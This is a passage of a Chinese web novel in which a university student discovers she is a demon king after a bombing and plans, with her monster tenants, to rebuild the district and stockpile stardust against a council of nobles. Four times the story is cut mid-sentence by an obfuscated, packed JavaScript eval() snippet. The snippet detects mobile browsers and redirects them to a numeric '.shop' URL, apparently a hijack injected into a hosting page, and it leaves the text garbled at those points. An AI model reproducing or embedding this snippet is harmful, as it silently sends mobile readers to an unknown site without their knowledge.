拉弗尔眺望着他们原本要去的那条街区，忍不住说了一句好险。 “我们赶紧回家。”妮娜说。 拉弗尔发觉她的背影正在发抖。 直到看到在一片浓烟之中依然完好无损的公寓楼，妮娜这才长长地呼出一口气，这时候她才想起这栋楼房有恶魔城的保护。 那是远古魔王亲手打造的魔法道具，只有在危机中固若金汤、坚不可摧，才能匹配它的身份，才能彰显它的实力。 薇薇安和拉弗尔互相确认过平安，给了彼此一个仿佛暌违几百年般的拥抱——尽管他们分开的时间还没超过半个钟头。 从小就经历过各种大风大浪的艾力克则并不显得害怕，反而表现出异常兴奋，也不知道这种性格是好是坏。 他一进门就敲起103室的墙壁：“维克多，维克多！快出来看我，我学会下蹲了！” 高中生模样的老幽灵穿墙而过：“嗯？让我看看你这个小丑八怪说的是不是真话。”刚刚发生在附近的爆炸事件对他来说也仿佛只是电影中的情节。 艾力克立马屈起膝盖，还不等他的大腿和小腿碰到一起，他就像坏了的不倒翁一样，在一阵幅度惊人的晃动之后倒在了地上。 “我就知道你在吹牛。”维克多叹了口气。 “你们之间发生什么了？”薇薇安问道。 维克多说：“昨天我告诉这小子，只有千分之一的巨魔具备全蹲的能力，他在尝试之后发现自己是那千分之九百九十九，也许有些不服气。” “不！”艾力克用他那和样貌并不相符的小男孩声线叫了起来，“我刚才真的做到了，就在第一波爆炸发生的时候！不信你问妮娜，还有拉弗尔，他们都看到了。” 维克多的目光落在他的房东身上。 妮娜点了点头。面对这些在近距离接触突发灾害之后还能如此吵吵闹闹开玩笑的房客，她不知该感到欣慰还是焦虑。 艾力克继续尝试，但结果都是徒劳。他一遍遍地摔倒在地上。 维克多伸手拉住了他：“算了，我相信你刚才的确做到了，毕竟危机能激发生物的潜能，况且还有房东大人和拉弗尔先生为你提供帮助。” “不！”艾力克坚决地表示否定，“在他们碰到我之前，我就蹲下了，稳稳当当的。” 又经过几番尝试，众人以为他终于决定要放弃的时候，他一把拉住维克多：“我知道了，刚才妮娜对我说蹲下，然后我就能蹲下了，你试着对我说蹲下，也许我就又能蹲下了。” 维克多不想伤害他这个过于天真的想法，又或许是为了让他尽快认清现实，便爽快地说道：“快蹲下，你这个小丑八怪。” 艾力克屈着身子，在地上摇摆了几下，然后倒了下去。他很快就爬了起来：“你说没有用，得让妮娜来说。” 维克多觉察到乌鸦的脸色突然变得煞白。 “妮娜，你得帮我证明，我能行的。”艾力克跑到妮娜跟前，用自己绿色的爪子握住她的手。 乌鸦挡了一下：“现在不是做这些事的时候，看看外面都变成什么样了！我觉得我们应该赶紧上街买点食物，说不定晚了就买不到了！” 艾力克叫起来：“这很快，只要几秒钟！拜托！我真的能做到！” 妮娜拍了拍乌鸦的肩膀：“艾力克说的没错，这不会花太多时间，就满足小家伙的愿望吧。”不过是举手之劳，她当然不会介意。 乌鸦咬着嘴唇，不愿让开。 妮娜从她身后探出脑袋，安抚似的对艾力克说道：“艾力克，蹲下。” 乌鸦一下子耸起了肩膀。 而小巨魔在听到口令后便规规矩矩地蹲了下来。 他那过于结实的大腿和小腿紧密地贴在一起，臀部靠近地面。如果有人愿意做一个重心分析，一定会发现这不是一个能保持 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|12924293|136394||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 稳定的动作，大多数巨魔正是因为肌肉分布的特殊性，才难以完成真正的全蹲。 维克多安静地看着这一幕，好像真的在做有关肌肉和重力的分析。 “我知道了。”他说。 “什么？”艾力克一脸期待地看着他。 接着，他环顾了一下周围，深深地吸了一口气，慢慢屈起那条几乎看不见轮廓的腿，在房东面前单膝跪地，宛如一名忠诚的骑士，“您是一位魔王。” 他语气平缓，但效力惊人。短短一句话，仿佛天空落下一道惊雷。 薇薇安和拉弗尔几乎把眼睛睁到了一个不可能的大小，艾力克表现出一丝胆怯，乌鸦的嘴唇正在颤抖。 被行了跪礼的当事人更是不知所措。 维克多则显得异常平静，并向众人解释起来：“这很简单，世界上只有魔王能够让那千分之九百九十九的巨魔完成下蹲这个动作。” “我想乌鸦女士应该早就发现这件事了，恐怕文森特也对此隐隐有所觉察。他和我说起过刚来这里时发生的事，他说斯特尔小姐能够无师自通魔界的古文字。” “‘语言即是他的权能，文字亦是他的权柄，他对它们了若指掌，它们对他言听计从’ ‘只要魔王一声令下，听到他话语的仆人就能瞬间抵达他的身边，他已经失去生命的战士也能化为死灵重新战斗，他要夺去生命，生命便要消散； ‘只要他一声令下，双腿残疾的能站立行走，没有声带的能开口说话，瞎了眼睛的能重见光明……’ “——也许你们听说过这段话。总而言之，魔王的权力能使不可能变为可能。艾力克就证明了这一点。” 乌鸦心情复杂地闭上了眼睛。她有一种如释重负的感受，但也有一根神经变得更加紧张，并在睁开眼睛的同时，举出了自己的例证：“我亲眼看见这东西赶走了一个无禁锢的魔女。” 她手中是一张被小心叠起来的白纸，朝外的那一面上写着“魔女退散”四个字，“这是妮娜为我写的。就算她不在现场，但她写下的字符也能够起效。” 她甚至没意识到自己在无意间走漏了一个重要的、本该好好隐瞒的情报。 思维敏捷的幽灵发现了这句话背后的逻辑，因此皱了皱眉：“你的意思是，魔王的权柄能够对魔女起效？按照我的想法，这等同于‘魔女也是魔族的一种’，你们说呢？” 乌鸦本来就惨白的脸此时已经变成了和她手中那张白纸一样的颜色。 维克多沉吟片刻：“看来这是一个我不该知道的秘密。不过这件事可以暂时先搁置，毕竟眼下有更加重要的议题……” 所有人的视线再次汇聚到妮娜身上。 这位女大学生此刻有千头万绪，思绪的混杂让她无法整理出一句像样的话来，但把所有的混乱抽离一番，就会发现她的大脑最关注的那件事物有点脱离当下的主题—— 是她藏在房间里那包被加入过量抑制剂的神奇汤料。 35. 虚与委蛇 “今天可不是愚人节。而且外面发生了大事。现在不是进行集体恶作剧的时候。” 妮娜无辜地眨着眼睛，回应着那一道道热切的视线。 比起相信维克多的逻辑推理，她更相信这是一个不合时宜的玩笑。 下蹲，护身符，不容反抗的语言——这些都是可以编排的。也许艾力克本来就可以下蹲，乌鸦口中护身符赶走魔女的事也没有第三个见证者…… 妮娜寻找着能够反驳这件事的证词。 因为如果她接受了自己是一个魔王的事实，就意味着她必须承认萨利对她居心叵测。 萨利知道她的身份，所以才会在食物里加入针对魔族的过量抑制剂。 这时候，她想到了一个或许可以寻求帮助的对象，一个不可能和房客们串通的人物。 “我要出去一趟，你们在这里等着。”大约十五秒后，她做出了决定。 她的命令显然生效了，证据是乌鸦想追出去，但却没法挪动步子。 今天绝对不是适合出门的日子，但即使是化为废墟的城市也无法阻挡她寻求真相的步伐。 “我醒来的时候看到窗户外面变成了一片废墟，发生了什么？” “社会矛盾过度激化，民众的不满终于演化成了人类的内战吗？” “我好像闻到了血的味道，有谁受伤了？等等，这股味道很特别……” 文森特和莉莉一前一后地从二楼走了下来。莉莉在搬到公寓之后住在二楼，薇薇安和拉弗尔对面的房间。 乌鸦想要阻止情报的扩散，但艾力克已经迫不及待地将刚才发生的事情告诉了他们——未必是他们正在询问的那一件——“我们有魔王了！妮娜是魔王！” 大巫妖那张成分稀少的脸和女妖那张美丽的脸上不可思议地露出了相似的表情。 “这可不妙。”文森特嚅动着他那看不见的嘴唇说道。 莉莉从后面拍了一下文森特的肩膀：“这不是什么内战，那些爆弹没准本来是要冲我们来的！！” “贵族院早就知道魔王在这里？”文森特抖了一下，“贵族院知道一切？那我们……” “我认为他们应该从最开始就知道一切，并一直暗中插手她的生活，只是这次的干扰力度有点超过了。”维克多说。 “如果她真的是……魔王陛下，我们为什么一直都没有发现？她自己也对此一无所知？” “因为她只有王权，却不具备魔力。她认为自己是一个人类。”乌鸦不情不愿地接过话茬。 “一个魔王，却没有魔力？” “有理由相信是贵族院做了什么手脚。” “徒有王权的魔王可没法将她的族群从人类的压迫中解放出来。力量必不可——” “斯特尔女士现在在哪？” “……她似乎想找人确认情况。” “找谁？她在外边有可靠的情报源吗？” “不知道……” “你怎么一副无动于衷的态度，这可是了不得的大事！外面刚刚发生过轰炸，而那些炸弹很可能就是冲着她来的！” “我们得乖乖呆在这儿，这是魔王的命令。”维克多有些无奈地说道。 乌鸦看着窗外的残破街景，想到她的这些族人们应该已经知晓，即使魔王归来，他们依然无法改变什么。 * 圣灵图书馆，6号藏书区，K103.3，P222第一行文字。 妮娜进入时空隧道的时候，位觉的失控和狂跳的心脏让她差点昏厥过去。好在这次时空置换的压力比上次要小很多，还不等她胃里那种恶心的感觉加剧，周围的景象便已经停止了变化。 “阿斯代伦，出来！”她叫了起来。 从森林一样的书堆中，一个带着无力的愤怒之感的男人凭空出现了，“你真的以为自己可以随心所欲地使唤我吗？嗯——你受伤了？” “坐下。” 男人“听话”地在附近一座高度到他大腿一半的书堆上坐了下来。 他有一双修长的腿，如果交叠坐下的话一定能够尽显优雅，但眼下，他就像一个第一天入学的小学生那样把手放在膝盖上正襟危坐。 妮娜看到了他那干脆利落的动作和不情不愿的表情之间的反差，看了一眼自己空无一物的双手：“这就是王权？” “什么？”阿斯代伦脸色一沉。 “你是我能询问的最古老的魔族，我想找你来确认一下……有人说我是一个魔王。”妮娜站在书堆之间，远远地望着坐在书堆上的男人，“你在人魔大战之前就出生了，我想你一定知道些什么。不管是什么都——” “等等，”阿斯代伦赶在祈使句出现之前截住了她的下文，用整理头发的动作掩饰惊讶，“你先让我冷静一下。” 看到他这么做，妮娜也整理了一下自己在奔跑中弄乱的前发：“需要冷静一下的应该是我。如果你在出门的时候突然目睹了炸弹的袭击，随后又被告知自己是一个魔王，你也会像我一样混乱的。” “……我明白。不，我不明白，但我多少能想象。”阿斯代伦说，“可你也得体谅一下我。万一我正在出席重要场合，突然消失是会引起骚乱的。” 在突然被召唤到这里之前，他正在前往圆桌会议室的途中。万幸会议还没有开始。 “对了，你刚才说什么，我好像听到‘炸弹’这样的词汇。那就是你受伤的原因？” “大半个老城区都被炸成了废墟！” 炸弹……阿斯代伦在心里重复道。他已经能够预料到今天圆桌会议的议题了。 “我可以谈一谈我所知道的情况。在人魔大战开始之前，生命之树已经结出了新的魔王之卵，”他叹了口气，开始在能够允许的范围内诉说起来，“不出意外——我的意思是如果你真的是一位魔王，那你想必就是从那颗卵中诞生的，至于你是不是真的……我想应该已经有很多迹象能够表明——” “如果是真的，那萨利——我是说我的母亲——她 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|12924294|136394||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 又是什么？” 阿斯代伦几乎要被这个天真的问题给逗笑了，不过他现在的境况让他完全笑不出来：“这很简单，她不是你的亲生母亲。” 妮娜想起了那个无法再往上回溯的日子，想起了萨利在猎犬酒吧对她说的狠心的话，心情复杂。 如果是这样，那萨利一直以来的态度也就变得理所应当了——她不仅不是萨利亲生的孩子，甚至不是一个人类。 其实在前往图书馆的路上她已经渐渐觉察到真相，理智让她看开，但感性让她难以释怀。 “我可以见见你的那位兄弟吗？”她突然问道。 “你想见‘勇者’？”阿斯代伦有些意外，“为什么？” “我不认为我是被随机选择的读者。他利用魔法秘密发送邮件，没准就是为了让我对今天的事有所准备。我认为他或许对魔王有所期待，所以我想和他谈谈。” 阿斯代伦看上去不是很高兴：“和他见面不是件容易的事，对你和对他来说都很危险。” 妮娜皱了皱眉。 她可以蛮横地使用命令让自己的要求得到满足，但他既然提到了危险，她就不能为所欲为。 “发生在旧城区的轰炸，会是贵族院给我的警告吗？” 阿斯代伦的神经挑了一下右边的眉毛：“贵族院给你的警告？要知道，你能够作为人类活到现在，都是贵族院在打点一切。” “打点一切？希望你说的不是唆使萨利修改我的志愿，并且让我的求职申请通通有去无回的事。” “我不是这个意思。贵族院关注着你的一举一动，一旦你的力量有复苏的迹象，他们必然会采取措施。你就老老实实地作为一个人类活着，那是再好不过的了。” 妮娜沉默了片刻，说道：“阿斯代伦先生，你是在人魔大战之前出生的原始魔族，你经历过魔族未被奴役的时代。三百年来，魔族因为失去了他们的王而不敢有丝毫造次——” “……嗯。” “现在，他们有了一位新生的魔王，他们会对这位魔王有所期许吗？或者说，你，会对我有所期许吗？” 妮娜·斯特尔表情严肃，阿斯代伦下意识地想要回避她的视线。 他是一个人类，怎么会可笑到把希望寄托在一个魔王身上？ 更可笑的是，这个魔王在尚未将事情弄明白之前，就擅自将一个可疑存在当成了同族。 不知道她了解到真相后会有怎样的表情。 “他们不敢对你有所期许。因为你是一个没有力量的魔王。只要不直面王权，七贵族有各种办法将你玩弄在股掌之中。” “……我知道了。阿斯代伦先生，你似乎对七贵族的想法很了解。” 阿斯代伦的表情一僵，旋即解释道：“毕竟我活了很久。” “那么，活了很久的阿斯代伦先生，我可以向你寻求一些建议吗？你认为我今后该怎么办？” “我的话没有意义，今后该怎么办，这是由你决定的。” 36. 非我族类 …… 巨龙罗德里斯无疑是个大麻烦。他本身就已经是一个足够强大的存在了，想必幻灵核心更令其如虎添翼。我想，只要他扇扇翅膀，大半个王都在瞬间就会变成平地。 但我的同僚们只能祈祷他最好永远不要醒来，即魔王永远不要去解开他的封印。 此外，我的同僚们至今仍在因未能掌握炼狱兽核心的情报而感到忧心忡忡，不仅是因为忌惮炼狱兽的力量，更是因为随着时间的流逝，他们越来越难以忍受未知的、无法掌控的事物。 必须指出，他们太过依赖权力所带来的安全感了。 我没有真正体验过那种感觉，所以……不予置评。 ——《波诺的笔记》 * 【旧城区发生大规模投弹事件，炸弹来源不明，疑似贵族院误操作所致】 【魔法运转出现故障，很可能已经不是首次】 [“知情人士”说，是武器库管理员的操作失误，不是贵族院的指令，现在贵族院正在进行全面调查，肯定会给受灾群众一个交代。] [怎么交代啊，最多也就赔钱了，建筑财产这种先不说，他们敢不敢公布这十几几十颗炸弹下去没了多少人命？] [老城区那边魔族比较多吧？我看说不好其实是无差别攻击，只要魔族死得够多，就算达到目的。反正死几个平民对贵族院来说也不痛不痒。] 圆桌会议室。 过于宽敞的空间让发生在这里的一切争执都显得微不足道，但事实并非如此。 “贝尔霍特，你到底在发什么疯？！你不会真想杀了那家伙吧？！你要知道，魔王绝对不能死——” “我看你是好日子过得不耐烦了，激化民众和贵族院的矛盾对我们来说没有任何好处。” “不是说好了，不管大事小事，都要和大家商量过再决定的吗？” “要散伙就明说，把人和地分一分，各自到各自的地头上，没人管你想不想当独裁者。” “波诺！不会说不要乱说话。” “不要光指责我，你们看到了吗，三十二颗魔法弹，全部偏移，没有一颗落到原定目标上，你们没有想过这意味着什么？魔王的权能不仅能控制那些恶心的魔物，还能控制魔法。” “你这话提醒到我了。如何能肯定魔弹是因为魔王的指令发生了偏移？有没有可能——” 会议室的门被打开了，迟到的阿斯代伦一脸厌烦地走到自己的座位上。 波诺立刻把没说完的话给咽回了肚子里，改口道：“真难得，你今天怎么来得这么晚？” 韦斯特尔却不留情面地戳穿了他：“你刚才是想说，魔弹的偏移有可能是阿加雷斯的杰作？” 阿斯代伦皱了皱眉。 波诺有些慌张，试图把这个话题给掩盖过去：“说起来我很久没去看望过阿加雷斯殿下了。不知道他最近情况如何。” “如果你当真这么担心他，不如先帮他恢复自由，好让我看看你的诚意？”阿斯代伦冷冷说道。 接着，不等波诺有所回应，他便将圆桌会议的话题引至另一个毫不相关的方向，让前者暗自松了口气。 “关于之前抓到的那头炼狱兽，你们想好要怎么处置了吗？” 兰登积极响应道：“自从除魔行动之后，生命之树已经很久没有诞生过新的元素兽了，我认为应该把这头珍贵的炼狱兽留着。” 蒂德莉也很快给出表示：“——毕竟我们还没有确定炼狱核心的下落，他或许能成为线索。” 圆桌会议很快就决定了对炼狱兽的处置办法：将其收监观察，留待后用。 虽然七位贵族都很想早日找到失落的炼狱核心，但一头普通炼狱兽能否对搜寻起到作用，目前没有任何证据能给出结论。 “刚才说到了阿加雷斯——”这件事情告一段落后，韦斯特尔不屈不挠地把话题带了回去，“也差不多到了该补强大法阵的时候。如果魔弹偏移真的有他的一份功劳，说明大法阵已经压制不住他的力量了。这件事刻不容缓。” 兰登眼睛一亮：“差点忘了大法阵！！！你提醒了我，韦斯特尔，我们可以用大法阵来关押魔王啊。” 布劳斯将身体向前挪了一点：“大法阵……它会掏空我们的财政。一个大法阵就够费钱的了，你还想再弄出一个？” “但绝对行之有效。”贝尔霍特说，“它是唯一能够克制魔王的东西。” “看来接下去的课题是尽快搞到大量星屑。”波诺说，“虽然从罗德里斯基地收缴了不少，但对于构建和维持大法阵来说远远不够。” “我们要从哪里去搞那么多星屑？既不能从大工厂主那里明抢，又不能强迫那些倒腾这玩意儿的富人把东西吐出来。”布劳斯说。 贵族院掌握着对魔族的绝对控制权，但在面对他们的同类——也就是平民百姓的时候，就没那么底气十足了。这是一个非常滑稽的事实。 他们无法像支配魔物那样强制支配一个人类，尤其是有钱有势的那些。 如果平民发生暴动，他们可以组织魔女和魔物的军团进行暴力镇压，但这意味着他们将失去大量同类、大量劳动力。他们并不想生活在一个只有魔物的国度中。 他们会让那些富有的人帮助贵族院实现对平民的管控。所以他们不能太过得罪那些人，也不可能从他们手中强要什么。 兰登沉思半晌：“既然不能胁迫他们，那就让他们自己出手。” “怎么做？” “让他们主动将囤积起来的星屑投放到市场上。这样星屑的价格就会下降，我们可以用相对低廉的成本大量买进。” 韦斯特尔点了点头：“先做空星屑。这姑且是个办法。” * …… 我从没想过有一天自己会写这玩意儿。一个成年人怎么会想着把自己的心思具现在一个有可能被任何人读到的地方呢？ 但不管这种行为有多不正常，我还是决定动笔。 因为我所熟悉的世界突然变得面目全非了。把一些东西记录下来，也许能够帮助我分辨事物的虚实。 再说一遍，一切都变得面目全非了，和我所习惯的那个世界相去 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|12924295|136394||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 甚远，哪怕有一天突然醒来，发现这是一场梦，我想我也不会觉得太惊讶。 如果这是一场梦，那么当一回魔王似乎也挺有趣的。可如果不是梦，这可就太奇怪了。我竟会是一个魔王？人类也是可以成为魔王的吗？ 这个头衔没有让我感到那所期盼的惊险刺激的生活已经拉开序幕，因为它和三十二颗魔法弹一同落了下来。 如果不做点什么，我害怕那些偏离的炸弹终有一天会落到我的头顶上，并摧毁我想保护的那些事物。 ……吸血鬼当初之所以对我那样好，并非因为我是我，而是因为我是一个魔王。 萨利之所以对我那么坏，也并非因为我是我，而是因为我是一个魔王。 我所谓的理想，并非是我身为人类的同情心泛滥，而是身为一个魔王的责任…… ——《妮娜的日记》 …… 妮娜光着背趴在自己的床上，让莉莉为那些伤口涂药。 “这真是荣幸……实在没想到我竟有机会做这种事。您的血液的味道真是让人心醉神迷。”女妖用婉转的嗓音说道。 “你什么时候染上吸血鬼的习性了？”妮娜的声音有气无力。 莉莉将脑袋凑到她的枕边：“在看什么？” 横在枕头上的手机屏幕正在播放综艺感十足的视频，走在校园中的女大学生正在遭受人群的挤兑，画面上方用五颜六色的艺术字体写着：如果走在身边的女大学生其实是一个魅魔的话，人们会有怎样的反应？ “是人类假扮的魅魔吗？真是奇怪，人类难道没法辨别同类？”莉莉说。 “……呃，其实是我。”妮娜指了指画面中那个画着全妆但形容狼狈的女学生，“这是我参加的一个社团企划。” “他们怎么能这样对您！”莉莉的语气顿时一转，变得义愤填膺。 “因为我不是他们的同类。”女大学生的语气有些自嘲。 * 轰炸事件的翌日，老城区从大早上开始就变得格外吵闹。 大批救援者和工程队成员赶赴这里，前者为了继续营救有可能被埋在坍塌建筑物下的平民，后者则对照着实物与地图进行重建规划。 而没有遭受轰炸的幸运市民们，则遵循着过往的时刻表，从大早上就开始为生活奔波了。 妮娜·斯特尔将所有的租客们聚集到一起。 一楼的客厅显得太狭窄了，她打通了204和206，将这个空间布置成会议室。恶魔城颇有风情地在圆桌中间摆上了花束。 现在，她已经没有必要向房客们隐瞒这件神奇的魔法道具，而这消解了好几位房客一直藏在心中的疑惑。文森特对此尤为兴奋。 这种氛围让第一次充当主事人的房东女士觉得没那么紧张了。 但是直到很久之后，她再次回想起这段时间所发生的一切时，仍会感到十分诧异。 在当了二十二年的人类之后，她用了不到两天的时间就接受了“事实并非如此”。 同时有一个不能忽视的事实，她仍想在大赛中获得一个好名次。 37. 重建计划 会议在可有可无的导语之后终于进入正题。 “听好了，我们要做的事情有很多，而且其中的一些并不容易。” 妮娜看了一眼自己连夜写好的笔记，在房客们炯炯的目光中开口了。 “集结军队，攻占贵族院！”艾力克猛地站了起来，将手臂奋力一扬。 坐在边上的乌鸦飞快地捂住他的嘴巴，并把他摁回座位，给了他一个恶狠狠的眼神。 这个小插曲让主事人心虚起来，她轻轻咳嗽两声，说道：“第一件事，希望大家能为街道重建贡献一份力量。” 这听起来与某些与会者心中所想象的复兴大计相去甚远，甚至背道而驰，让人大失所望。 “你让我们去帮助人类？！”乌鸦不悦地盯着她。 “老城区居住着很多魔族。”妮娜顿了一下，“而且那些受到牵连的市民并不是我们的敌人。” 文森特举起黑色的手：“我赞同斯特尔小姐，呃，斯特尔陛下。” “……不用叫我陛下。”妮娜觉得这是故事书里才会出现的措辞。 “既然我们生活在这里，确实应该给周围的人类留下一些好印象。”维克多出于功利的目的也对这个建议表示了支持。 魅魔们紧随其后。 这下轮到乌鸦哑口无言，一个人在座位上生着闷气，主持人接下来的话让她大吃一惊。 “第二件事，我们要尽可能多、尽可能快地囤积星屑资源。” 维克多的表情微微一变：“您要做什么？” “切断魔力源流，人类就没法使用魔法了。这有利于减轻贵族院对魔族的压迫。一开始我是这么想的。” “一开始？”幽灵眯了眯眼睛，“那后来呢？” “重新构建魔界的社会秩序，这是长远打算。” 在人类社会和古代魔族社会都具备经济和实用功能的星屑是一个绝佳的切入点。 维克多最先意识到这件事的真正意义，但并未立刻表示肯定，“你知道这个‘远大计划’意味着我们需要掌握多少星屑吗？这不是个人的力量能做到的。” “我们愿意把薪水拿出来投资。”薇薇安和拉弗尔相视一眼后说道。 文森特和莉莉紧随其后：“我也是。” 乌鸦轻哼了一声：“把我们全部发卖了也只是杯水车薪而已。” 妮娜将两只手交叉在一起：“为此，我打算找机会向赫尔马岱进军，在那里获得至少一个星矿的开采权。顺便保护生命之树和那些新生儿。” “视频账号在短时间内会是我们主要的收入来源，但每个人气主播或视频创作者都会有过气的时候，我们必须掌握一些有形的资产。这也是我盯上赫尔马代的原因。” 魔物们的表情顿时发生了变化。 他们不怎么关心后半段内容，他们的关注点在于被立刻带过的某个词汇——生命之树。 那棵大树代表着母亲和信仰。夺取生命之树，即意味着魔族正式宣告争取自由。 这是一件大事！ 然而还不等有人发表感言，主事人就马不停蹄地宣读起了其他内容，根本不给人插话的余地，好像刚才说的只是一段简单的开场白。 “第三件事，解救炼狱兽蒙多，寻找尚未落入贵族院手中的炼狱兽核心以及幻灵核心。” “第四件事，解放魔龙罗德里斯，同时联合其他躲藏在人类社会中的原始魔族。” “还有第五件事……其实是我的私事，但需要大家的帮忙，让罗德里斯公寓在创业比赛中拿到一个好名次。这样我才能顺利毕业。” 她停顿了一会儿，最后补充道：“这当然不是我们的终极目标，但我想在做到这一切之后……我们前方的路一定会开阔很多，到那时候，我们可以再一次审视前进的方向，我们一起。” 会议室暂时沉寂的表象下似乎有某种情绪正待喷薄而出。 维克多用他透明的手指敲了敲硬木的桌面，打破了寂静：“说起来今早的新闻，金融报的消息，市场唱衰星屑。我打算抄底加仓，现在看来可以再增加一点预算。” 文森特将两根黑烟般的食指抵在一起：“其实……我之前拿到工资的时候就买了几克。” 莉莉单手支着脸蛋：“真巧，我虽然没有太多闲钱，但也有‘投资’星屑的习惯，我也不知道这种习惯是怎么养成的。” 薇薇安眨了眨眼睛：“你们也相信那个传说吗？” 拉弗尔接道：“——只要献上足够的星屑，就能让生命之树重焕生机。” 乌鸦难得没有跳出来泼冷水。 妮娜机警地揪住了重点：“最近市场上发生什么了？” “贵族院在罗德里斯基地的遗址中发现大量星屑库存，所以导致价格开始走低了吧——我猜。”维克多说，“而且民间的媒体上还出现了一些学术报告，说未来可能会出现能够代替星屑的魔力源流，说得煞有介事，很多人都信了。” 他一边说，一边调出了一些信息，共享给同伴们。 妮娜盯着手机，看着上面那篇可疑的报道。 《摆脱星屑依赖，人类有望凭借新能源真正掌握魔法！》 罗德里斯基地的星屑在巨龙结界里，贵族院不可能得到它们。 虚假的报告，虚假的新闻，抄底买入，魔弹轰炸…… 近日来获得的大量讯息从妮娜的意识表层快速闪过，她得出了一个假设： “有人想要故意做空星屑，甚至不惜在学术领域和媒体上弄虚作假！” 有些人已经跟不上思路了：“什么叫做空？” “为什么要这么做？” “谁在背后指使？” ——关于最后一个问题，很多人心里早就有了答案。 “不管是昨天的轰炸，还是操作星屑的价格，都不是普通人能够做到的。” “那些飞机只有贵族院才能调动。” 妮娜飞快转动脑筋：“贵族院也打算买入星屑，而且 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|12924296|136394||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 需求量极大……可他们要这么多星屑做什么？” 她抬起头来，看向众人：“——一个规格极高的大型魔法！！” 乌鸦咬牙切齿地说道：“用来对付我们……不，用来对付你？” 妮娜用拇指抵着下巴：“无论如何，只要我们能更快占有足够多的资源，七贵族的计谋就无法得逞。毕竟他们无法忤逆魔王。” 兽人猛地咳嗽起来，其他人则是一片哗然。 妮娜不知道这些被称为新魔族的成员们是否知道一些相关的秘密，于是将从吸血鬼那儿听到的情报告诉了他们。 贵族院掌握着七颗魔界大贵族的核心，这是他们剥削魔族的基础。 “如果一般市民知道了这些事情，真不知道他们会怎么想。从小敬爱的贵族院、高高在上的贵族院，竟然是一群和怪物没什么两样的东西！” “我们要把这些内容做成视频发到网上，让人类知道那些统治者的真相！” “不，不，现在还为时过早。” * 罗德里斯公寓前后左右还保留着不少完好的建筑，因此这座公寓楼在轰炸中幸免于难的事并未遭人怀疑。 这里的住户们很快就在房东的号召下参与到灾区重建工作中，起初，救援队和工程队的成员对此颇为抵触，但由于工作量实在太大，光靠他们自己实在难以应付，加上这些外援力量干活确实卖力，于是终于放下了成见，接受了他们的支援。 兽人少女不仅力气大，而且动作敏捷，偶尔可以独立完成高空作业，是非常通用的工作者。如果她的翅膀不是由手臂变的，而是从背上另外生长出来的，一定可以让工作变得更加轻松。 巨魔年纪还小，否则一定会是工程队伍最青睐的成员，他已经展现出巨魔特有的肌肉力量，以及那种吃苦耐劳的品质。 “薇薇安和拉弗尔，还有莉莉，他们主要从事一些后勤方面的支援工作，比如为无家可归的人提供水和食物、夜晚保暖用的毛毯，还有精神方面的支持。” “维克多，和艾力克一样，是公寓的新成员，他是一个幽灵——关于幽灵的特性，日后会有一期专门的节目讲解。他能够不费力气地穿过墙壁，到那些被封闭了的、彻底坍塌了的建筑废墟中，确认那里面有没有幸存者，在救援难以立即实施的时候，他还能为受困灾民带去生存物资。” “最后是我们的房东，如各位所见，她只是一个寻常的人类，一个女大学生，没有一技之长——” 文森特说到这里的时候，看到妮娜朝自己瞪了一眼，不过很快就回过头去继续干活了。 他调整了一下手机摄像头的视角：“她不能像我们的巨魔还有兽人伙伴那样完成重体力劳动，不像魅魔们那样擅长安慰别人，也没有维克多那样的特殊能力，但她也在试图为重建出一份力。” “文森特，我的事情没什么好说的，还是多去拍拍其他人吧。”妮娜的声音从前面传来，因为是背对着摄像头说的，显得有点闷。 38. 吸血蝙蝠 [房东是害羞了吗？] [还以为房东会是个彪形猛女，怎么这么小只啊？] [看她动作就知道是个种过地的孩子，哈哈哈哈。] [公寓还有空房吗，想来住，四舍五入就是和莉莉同居了。] [炒作，不要脸。] [至少人家在实打实地帮助受灾地区，比你这种只会敲键盘的好多了。] [第一次觉得巨魔还挺可爱的，果然幼崽就是招人喜欢。] [拿灾难作秀罢了，小心以后遭报应。] 